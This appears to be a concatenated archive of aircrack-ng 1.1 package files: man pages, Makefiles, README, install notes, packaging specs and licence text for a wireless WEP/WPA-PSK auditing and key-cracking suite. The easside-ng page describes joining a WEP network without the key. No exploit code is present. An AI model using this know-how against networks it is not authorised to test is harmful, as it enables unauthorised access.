messages from level 2 (and 1). .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/Makefile0000644000000000000000000000271211147565702015477 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak MP_FILES = aircrack-ng.1 airdecap-ng.1 airdriver-ng.1 aireplay-ng.1 \ airmon-ng.1 airodump-ng.1 airserv-ng.1 airtun-ng.1 \ ivstools.1 kstats.1 makeivs-ng.1 airbase-ng.1 \ packetforge-ng.1 airdecloak-ng.1 ifeq ($(SQLITE), true) MP_FILES += airolib-ng.1 else ifeq ($(sqlite), true) MP_FILES += airolib-ng.1 else ifeq ($(SQLITE), TRUE) MP_FILES += airolib-ng.1 else ifeq ($(sqlite), TRUE) MP_FILES += airolib-ng.1 endif endif endif endif ifeq ($(UNSTABLE), true) MP_FILES += wesside-ng.1 tkiptun-ng.1 buddy-ng.1 easside-ng.1 else ifeq ($(unstable), true) MP_FILES += wesside-ng.1 tkiptun-ng.1 buddy-ng.1 easside-ng.1 else ifeq ($(UNSTABLE), TRUE) MP_FILES += wesside-ng.1 tkiptun-ng.1 buddy-ng.1 easside-ng.1 else ifeq ($(unstable), TRUE) MP_FILES += wesside-ng.1 tkiptun-ng.1 buddy-ng.1 easside-ng.1 endif endif endif endif default: all all: @echo Nothing to do install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) uninstall: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) -rm -f $(DESTDIR)$(mandir)/airolib-ng.1 -rm -f $(DESTDIR)$(mandir)/wesside-ng.1 -rm -f $(DESTDIR)$(mandir)/tkiptun-ng.1 -rm -f $(DESTDIR)$(mandir)/buddy-ng.1 -rm -f $(DESTDIR)$(mandir)/easside-ng.1 aircrack-ng-1.1/manpages/easside-ng.10000644000000000000000000000413311364647470016143 0ustar rootroot.TH EASSIDE-NG 1 "April 2010" "Version 1.1" .SH NAME easside-ng - an auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .SH SYNOPSIS .B easside-ng .SH DESCRIPTION .BI easside-ng is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -v Victim BSSID (Optional). .TP .I -m Source MAC address to be used (Optional). .TP .I -i Source IP address to be used on the wireless LAN. Defaults to the decoded network plus '.123' (Optional). .TP .I -r IP address of the AP router. This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus '.1' (Optional). .TP .I -s IP address of Buddy-ng server (Mandatory) .TP .I -f Wireless interface to use (Mandatory) .TP .I -c Lock interface to this channel (Optional). .TP .I -n Determine Internet IP only. .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/README0000644000000000000000000001164611364646412013131 0ustar rootrootDocumentation, tutorials, ... can be found on http://www.aircrack-ng.org See also manpages and the forum. Installing ========== This version now requires more libraries than 0.X versions to be compiled. See INSTALLING file for more information OpenWrt Devices =============== You can use airodump-ng on OpenWrt devices. You'll have to use specify prism0 as interface. Airodump-ng will automatically create it. Rq: Aireplay DOESN'T work on OpenWrt (2.4 kernel) with broadcom chipset since the driver doesn't support injection. It *may* work with 2.6 kernels >= 2.6.24 (kamikaze 8.09+ custom-built). Known bugs: =========== Drivers ------- Madwifi-ng ---------- The cause of most of these problems (1, 2 and 3) is that Madwifi-ng cannot easily change the rate in monitor mode. Technically, when changing rate while in monitor mode, the raw socket gets invalidated and we have to get it again. Madwifi-ng is getting replaced by several drivers: ath5k, ath9k and ar9170. Problem 1: No client can associate to an airbase soft AP. Solution 1: None at this time. Problem 2: When changing rate while you are capturing packet makes airodump-ng stall Solution 2: Restart airodump-ng or change rate before starting it. Problem 3: After some time it stops capturing packets and you're really sure no network manager are running at all. Solution 3: That's a known bug in the driver, it may happen at any time (the time before it fails can vary a lot: from 5 minutes to 50 or even more). Try (as root) unloading completely the driver with 'madwifi-unload' and then run 'modprobe ath_pci autocreate=monitor'. Problem 4: When creating a new VAP airodump-ng takes up to 10-15 seconds to see the first packet Solution 4: It's the behaviour of madwifi-ng, don't worry (... be happy ;)). Orinoco ------- Problem: BSSID is not reported correctly or is 00:00:00:00:00:00 or signal is not reported correctly. Solution: None. Consider replacing your card, orinoco is really really old. Aircrack-ng ----------- Aireplay-ng ----------- Problem: Fakeauth on a WRT54G with WEP (shared authentication) doesn't work. Solution: None at this time (we'll try to fix it for next release). Airolib-ng ---------- Problem: On windows only, opening/creating a database doesn't work when airolib-ng is in directories containing special characters like '', '', '', '', ... (directories containing spaces are not affected). Reason: It's a SQLite issue. Solution: Rename the directory or move the database into another directory. Airbase-ng ---------- Problem: SSID are not displayed correctly (when scanning for networks) when using airbase-ng with r8187 driver. Reason: Beacons are truncated (the beginning is missing) when sent in the air. Solution: None at this time (we'll try to fix it for next release) Airodump-ng ----------- Problem: Airodump-ng stop working after some time. Solution 1: You may have a network manager running that puts back the card in managed mode. You'll have to disable it (the fastest solution is killing the process) then restart airodump-ng. Solution 2: See Problem 3 of Madwifi-ng. Problem: On windows, it doesn't display a list of adapters like the old 0.X Solution: It requires you to develop your own DLL. Aircrack-ng ----------- Problem: Aircrack-ng can't use dictionnaries/wordlists bigger than 2GB Solution: Split your files. Cleaning can also help because WPA only use passphrases of 8 to 63 characters. Sample files ============ wep.open.system.authentication.cap: It show a connexion (authentication then association) to a WEP network (open authentication). wep.shared.key.authentication.cap: It shows a connexion (authentication then association to a WEP network (shared authentication). The difference with open authentication is that the client has to encrypt a challenge text and send it back (encrypted) to the AP to prove it has the right key. wpa.cap: This is a sample file with a WPA handshake. It is located in the test/ directory of the install files. The passphrase is 'biscotte'. Use the password file (password.lst) which is in the same directory. wpa2.eapol.cap: This is a sample file with a WPA2 handshake. It is located in the test/ directory of the install files. The passphrase is '12345678'. Use the password file (password.lst) which is in the same directory. test.ivs (http://download.aircrack-ng.org/wiki-files/other/test.ivs): This is a 128 bit WEP key file. The key is AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7. ptw.cap (http://dl.aircrack-ng.org/ptw.cap): This is a 64 bit WEP key file suitable for the PTW method. The key is '1F:1F:1F:1F:1F'. password.lst This is a sample wordlist for WPA key cracking. More wordlists can be found at http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists password.db This is a sample airolib-ng database for WPA key cracking. aircrack-ng-1.1/common.mak0000644000000000000000000000315011335624174014221 0ustar rootrootifndef TOOL_PREFIX TOOL_PREFIX = endif ifndef OSNAME OSNAME = $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g') endif ifndef SQLITE SQLITE = false endif ifndef LIBAIRPCAP LIBAIRPCAP = endif ifeq ($(OSNAME), cygwin) EXE = .exe PIC = SQLITE = false else EXE = PIC = -fPIC ifndef SQLITE SQLITE = true endif endif COMMON_CFLAGS = ifeq ($(OSNAME), cygwin) COMMON_CFLAGS += -DCYGWIN endif ifeq ($(SQLITE), true) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(sqlite), true) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(SQLITE), TRUE) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(sqlite), TRUE) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE endif endif endif endif ifeq ($(airpcap), true) AIRPCAP = true endif ifeq ($(AIRPCAP), true) LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include endif ifeq ($(OSNAME), cygwin) CC = $(TOOL_PREFIX)gcc-4 else CC = $(TOOL_PREFIX)gcc endif RANLIB = $(TOOL_PREFIX)ranlib AR = $(TOOL_PREFIX)ar REVISION = $(shell $(AC_ROOT)/evalrev) REVFLAGS = -D_REVISION=$(REVISION) OPTFLAGS = -D_FILE_OFFSET_BITS=64 CFLAGS ?= -g -W -Wall -Werror -O3 CFLAGS += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS) prefix = /usr/local bindir = $(prefix)/bin sbindir = $(prefix)/sbin mandir = $(prefix)/man/man1 datadir = $(prefix)/share docdir = $(datadir)/doc/aircrack-ng libdir = $(prefix)/lib etcdir = $(prefix)/etc/aircrack-ng aircrack-ng-1.1/packages/0000755000000000000000000000000011364675642014026 5ustar rootrootaircrack-ng-1.1/packages/PKGBUILD0000644000000000000000000000101011364647470015140 0ustar rootroot# Contributor: ice-man pkgname=aircrack-ng pkgver=1.1 pkgrel="1" pkgdesc="aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured." source=(http://download.aircrack-ng.org/$pkgname-$pkgver.tar.gz) url="http://www.aircrack-ng.org" license="GPL" build() { cd $startdir/src/$pkgname-$pkgver make make prefix=/usr docdir="/usr/share/doc/$pkgname-$pkgver" destdir="$startdir/pkg/" install } aircrack-ng-1.1/packages/slack-desc0000644000000000000000000000116410761053203015743 0ustar rootroot |-handy-ruler------------------------------------------------------| aircrack-ng: Aircrack-ng aircrack-ng: aircrack-ng: aircrack-ng is a set of tools for auditing wireless networks. aircrack-ng: It's an enhanced/reborn version of aircrack. aircrack-ng: It consists of airodump-ng (an 802.11 packet capture program), aircrack-ng: aireplay-ng (an 802.11 packet injection program), aircrack-ng: aircrack-ng (static WEP and WPA-PSK cracking), airdecap-ng aircrack-ng: (decrypts WEP/WPA capture files), and some tools to handle aircrack-ng: capture files (merge, convert, etc.). aircrack-ng: aircrack-ng: aircrack-ng: aircrack-ng-1.1/packages/aircrack-ng.spec0000644000000000000000000001102511364647470017060 0ustar rootroot%define _rel final # these bits are constant across distributions # Name: aircrack-ng Version: 1.1 Summary: Reliable 802.11 (wireless) sniffer and WEP/WPA-PSK key cracker License: GPL Source: http://dl.aircrack-ng.org/%{name}-%{version}.tar.gz URL: http://www.aircrack-ng.org/ BuildRoot: %{_tmppath}/%{name}-%{version}-build Packager: David Bolt Requires: openssl-devel glibc >= 2 # define the package groups. If they all followed the LSB these would be the same, but they aren't :( # %define suse_group Productivity/Networking/Other %define mandriva_group Productivity/Networking/Other %define fedora_group Productivity/Networking/Other # just in case we're not building on a (open)SUSE, Mandriva or Fedora system. # %define rel %{_rel} # figure out which distribution we're being built on. choices so far are (open)SUSE, Mandriva and Fedora Core. # %define _suse %(if [ -f /etc/SuSE-release ]; then echo 1; else echo 0; fi) %define _mandriva %(if [ -f /etc/mandriva-release ]; then echo 1; else echo 0; fi) %define _fedora %(if [ -f /etc/fedora-release ]; then echo 1; else echo 0; fi) # interesting facts: Mandriva includes /etc/redhat-release, as does Fedora. # This means any builds for redhat are going to need to parse /etc/redhat-release # to make sure they're being built on a redhat system %if %{_suse} %define _mandriva 0 %define _fedora 0 %endif %if %{_mandriva} %define _fedora 0 %endif # now for some distribution-specific modifications. # # these include making a distro-specific release number # # building on a (open)SUSE Linux system so make a release identifier for the (open)SUSE version # %if %_suse %define _suse_version %(grep VERSION /etc/SuSE-release|cut -f3 -d" ") %define _suse_vernum %(echo "%{_suse_version}"|tr -d '.') %define rel %{_rel}.suse%{_suse_vernum} %define _distribution SUSE Linux %{_suse_version} %define group %{suse_group} # distro name change for SUSE >= 10.2 to openSUSE # %if %suse_version >= 1020 %define _distribution openSUSE %{_suse_version} %endif # not defined by SUSE/Novell but useful to have # %define _icondir %{_datadir}/pixmaps/ %endif # building on a Mandriva/Mandrake Linux system so use the standard Mandriva release string # # this is experimental and untested as yet, but should work. # %if %{_mandriva} %define _mandriva_version %(cat /etc/mandriva-release|cut -f4 -d" ") %define _distribution Mandriva %{_mandriva_version} %define rel %{_rel}.mdv %define group %{mandriva_group} %endif # building on a Fedora Core Linux system. not sure if there's a release string, but create one anyway # # this is experimental and untested as yet, but should work. # %if %{_fedora} %define _fedora_version %(cat /etc/fedora-release|cut -f3 -d" ") %define _distribution Fedora Core %{_fedora_version} %define rel %{_rel}.fc%{_fedora_version} %define group %{fedora_group} %endif # while these few are (relatively) distro-specific # Group: %{group} Release: %{rel} %{?_distribution:Distribution:%{_distribution}} %description aircrack-ng is a set of tools for auditing wireless networks. It's an enhanced/reborn version of aircrack. It consists of airodump-ng (an 802.11 packet capture program), aireplay-ng (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), airdecap-ng (decrypts WEP/WPA capture files), and some tools to handle capture files (merge, convert, etc.). %prep %setup -q %build make %{?_smp_mflags} sqlite=true unstable=true %install rm -rf $RPM_BUILD_ROOT mkdir $RPM_BUILD_ROOT make install DESTDIR=$RPM_BUILD_ROOT prefix=%{_prefix} mandir=%{_mandir}/man1 sqlite=true unstable=true cd $RPM_BUILD_ROOT find . -type d | sed '1,2d;s,^\.,\%attr(-\,root\,root) \%dir ,' > %{_builddir}/file.list.%{name} find . -type f | sed 's,^\.,\%attr(-\,root\,root) ,' | grep -v /man/ >> %{_builddir}/file.list.%{name} find . -type l | sed 's,^\.,\%attr(-\,root\,root) ,' >> %{_builddir}/file.list.%{name} %files -f %{_builddir}/file.list.%{name} %doc ChangeLog INSTALLING README LICENSE AUTHORS VERSION %doc test %doc patches %{_mandir}/man1/* %clean rm -rf $RPM_BUILD_ROOT %changelog * Sun Jan 29 2009 Xury aircrack-ng-1.0-rc3 - small fix and update spec file * Mon Jun 26 2006 David Bolt aircrack-ng-0.6 - Removed patch as no longer needed for SUSE 10.1 (GCC 4.1.2) * Fri Jun 2 2006 David Bolt aircrack-ng-0.5 - Patched source to build properly on SUSE 10.1 (GCC 4.1.2) * Thu Mar 30 2006 David Bolt - First package built for SUSEaircrack-ng-1.1/INSTALLING0000644000000000000000000000337011364646412013633 0ustar rootroot=== Requirements === * OpenSSL development package * If you want to use airolib-ng and '-r' option in aircrack-ng, SQLite development package >= 3.3.17 (3.6.X version or better is recommended): - libsqlite3-devel * On windows, cygwin has to be used and it also requires w32api and gcc-4 package. * If you want to use Airpcap, the 'developer' directory from the CD is required. === Compilating === * Compilation: make * Strip debugging symbols: make strip * Installing: make install * Uninstall: make uninstall ==== Makefile flags ==== When compile and installing, the following flags can be used and combined to compile and install the suite: * sqlite: needed to compile airolib-ng and add support for airolib-ng databases in aircrack-ng. On cygwin: SQLite has to be compiled manually. See next section. * airpcap: needed for supporting airpcap devices on windows (cygwin only) REQUIREMENT: Copy 'developers' directory from Airpcap CD one level below this INSTALLING file Note: Not working yet. * unstable: needed to compile tkiptun-ng, easside-ng (and buddy-ng) and wesside-ng Example: * Compiling: make sqlite=true unstable=true * Installing: make sqlite=true unstable=true install === Using precompiled binaries === Linux/BSD: * Use your package manager to download aircrack-ng * In most cases, they have an old version. Windows: * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data). * aircrack-ng suite is command line tools. So, you have to open a commandline (Start menu -> Run... -> cmd.exe) then use them * Run the executables without any parameters to have help aircrack-ng-1.1/LICENSE.OpenSSL0000644000000000000000000001420710761053203014522 0ustar rootroot LICENSE ISSUES ============== The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the OpenSSL License and the original SSLeay license apply to the toolkit. See below for the actual license texts. Actually both licenses are BSD-style Open Source licenses. In case of any license issues related to OpenSSL please contact openssl-core@openssl.org. OpenSSL License --------------- /* ==================================================================== * Copyright (c) 1998-2007 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * openssl-core@openssl.org. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * (eay@cryptsoft.com). This product includes software written by Tim * Hudson (tjh@cryptsoft.com). * */ Original SSLeay License ----------------------- /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ aircrack-ng-1.1/evalrev0000755000000000000000000000067211065523564013640 0ustar rootroot#!/bin/sh if [ ! -d ".svn/" ] then echo "0" exit ; fi REVISION="`svnversion 2> /dev/null | sed 's/[^0-9]*//g'`" if [ x$REVISION = "x" ] then REVISION="`svn info 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g'`" fi if [ x$REVISION = "x" ] then if [ -f ".svn/entries" ] then REVISION="`cat .svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g'`" fi fi if [ x$REVISION = "x" ] then REVISION="-1" fi echo $REVISION aircrack-ng-1.1/Makefile0000644000000000000000000000176111232434622013676 0ustar rootrootneed := 3.81 ok := $(filter $(need),$(firstword $(sort $(MAKE_VERSION) \ $(need)))) ifndef ok $(error fatal error... Need make $(need) but using $(MAKE_VERSION), please upgrade) endif AC_ROOT = . include $(AC_ROOT)/common.mak DOCFILES = ChangeLog INSTALLING README LICENSE AUTHORS VERSION default: all all: $(MAKE) -C src $(@) aircrack-ng-opt-prof_gen: all mkdir -p prof $(MAKE) -C src $(@) aircrack-ng-opt-prof_use: $(MAKE) -C src $(@) install: $(MAKE) -C src $(@) $(MAKE) -C scripts $(@) $(MAKE) -C manpages $(@) @echo " " @echo "[*] Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required)." uninstall: $(MAKE) -C src $(@) -rm -fr $(DESTDIR)$(docdir) $(MAKE) -C manpages $(@) $(MAKE) -C scripts $(@) strip: $(MAKE) -C src $(@) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: $(MAKE) -C src $(@) distclean: clean check: $(MAKE) -C src $(@)